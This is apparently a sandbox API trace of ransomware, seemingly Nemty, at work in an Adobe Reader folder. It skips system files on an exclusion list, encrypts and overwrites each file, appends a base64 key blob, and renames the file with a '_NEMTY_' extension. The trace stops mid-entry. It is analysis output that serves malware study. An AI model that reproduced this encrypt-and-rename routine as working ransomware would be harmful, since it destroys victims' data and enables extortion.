lstrcmpiW (lpString1="dut57.ths", lpString2="IO.SYS") returned -1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="boot.ini") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="boot.ini") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="AUTOEXEC.BAT") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="ntuser.dat") returned -1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="desktop.ini") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="CONFIG.SYS") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="RECYCLER") returned -1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="BOOTSECT.BAK") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="bootmgr") returned 1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="programdata") returned -1 [0217.328] lstrcmpiW (lpString1="dut57.ths", lpString2="appdata") returned 1 [0217.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut57.ths", lpUsedDefaultChar=0x0) returned 9 [0217.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut57.ths", lpUsedDefaultChar=0x0) returned 9 [0217.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut57.ths", lpUsedDefaultChar=0x0) returned 9 [0217.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut57.ths", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut57.ths", lpUsedDefaultChar=0x0) returned 9 [0217.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.329] Sleep (dwMilliseconds=0x5) [0217.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x352e37d0, dwHighDateTime=0x1d561e8)) [0217.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x352e37d0, dwHighDateTime=0x1d561e8)) [0217.337] GetLastError () returned 0x0 [0217.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.337] GetLastError () returned 0x0 [0217.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.337] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.337] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.337] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.337] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="IAqi9DAhGM6OMoyMjp40GeLJBVXjMgGLjOQckxrLG6IQExszb4fIMkZhBadbh2b+\r\nHSdjA7wnJJDg/xrHb21j4XjJrEeZsKT3YZ06K/+ef6zfb0osS9gvKqivIHyS5mmA\r\n/Z72sx8ZgAxw6XWiMryWCUUbIKwMVsq5+XQxHP+oOti3LIJdjhSM/AzHwMt7+zlB\r\nAbz3XL+hH79zl8IOuaoljbYgHR3sLRjKENybMhjFV9J03Grv8dSuoE2Jn92sTB3R\r\n5H4OX4s4ZiqyQMLw1vmZSL4BlIStrNoknDi3NTFGD80B+a6A9ae5vGviGARDhXdD\r\n2Z/eLqO5Tco+YHe3Ro4Mag==\r\n", pcchString=0x653df5c) returned 1 [0217.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut57.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut57.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.338] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=801792) returned 1 [0217.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.338] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.338] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.347] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.347] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.347] SetFilePointer (in: hFile=0x320, lDistanceToMove=801792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc3c00 [0217.347] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.349] CloseHandle (hObject=0x320) returned 1 [0217.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.349] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut57.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut57.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut57.ths._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut57.ths._nemty_kgobjgd_")) returned 1 [0217.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.350] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="eng.hyp", cAlternateFileName="")) returned 1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2=".") returned 1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="..") returned 1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="...") returned 1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="windows") returned -1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="rsa") returned -1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="NTDETECT.COM") returned -1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="ntldr") returned -1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="MSDOS.SYS") returned -1 [0217.350] lstrcmpiW (lpString1="eng.hyp", lpString2="IO.SYS") returned -1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="boot.ini") returned 1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="boot.ini") returned 1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="ntuser.dat") returned -1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="desktop.ini") returned 1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="CONFIG.SYS") returned 1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="RECYCLER") returned -1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="bootmgr") returned 1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="programdata") returned -1 [0217.351] lstrcmpiW (lpString1="eng.hyp", lpString2="appdata") returned 1 [0217.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.351] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.351] Sleep (dwMilliseconds=0x5) [0217.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35309930, dwHighDateTime=0x1d561e8)) [0217.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35309930, dwHighDateTime=0x1d561e8)) [0217.353] GetLastError () returned 0x0 [0217.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.353] GetLastError () returned 0x0 [0217.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.353] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.353] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="t2mMiYBvL/WI7Yn/srJOiKJTBOt4LkPBnKkv8tVhph9wriaZnuBNpft16pz4jmL3\r\nAQRjwDDjtjQIoSMdv1EJsdNwmv+hcOulkes+eW9rMQlAAKi8M/hxM83hH5MgmuJi\r\nS+RSH1pQkjGDcEtj529AW6b+p3+qNDZq4X2KiqWqb80W6UVBZwJnpQ0EP9DuDwkg\r\nmkn1ta7lfUxQIcnHHGg3I2ykJgKOfFs3bkvknJigQoz9hhUtV6kybl5ny9KCybPB\r\n9y6wjc2tjzszWAL9dg+enx0OYJo+UrPqpChrDF8YtTbSgKMPqCsSEYMRvx4GiAiX\r\nk5K8gOTZOVMRgUry/V63oQ==\r\n", pcchString=0x653df5c) returned 1 [0217.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.353] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.354] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=48128) returned 1 [0217.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbc00) returned 0x6354c48 [0217.354] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.354] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0xbc00, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0xbc00, lpOverlapped=0x0) returned 1 [0217.358] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.359] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0xbc00, lpOverlapped=0x0) returned 1 [0217.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.359] SetFilePointer (in: hFile=0x320, lDistanceToMove=48128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc00 [0217.359] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.359] CloseHandle (hObject=0x320) returned 1 [0217.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.359] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng.hyp._nemty_kgobjgd_")) returned 1 [0217.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.360] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fe5, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="eng32.clx", cAlternateFileName="")) returned 1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2=".") returned 1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="..") returned 1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="...") returned 1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="windows") returned -1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="rsa") returned -1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="NTDETECT.COM") returned -1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="ntldr") returned -1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="MSDOS.SYS") returned -1 [0217.360] lstrcmpiW (lpString1="eng32.clx", lpString2="IO.SYS") returned -1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="boot.ini") returned 1 [0217.361] 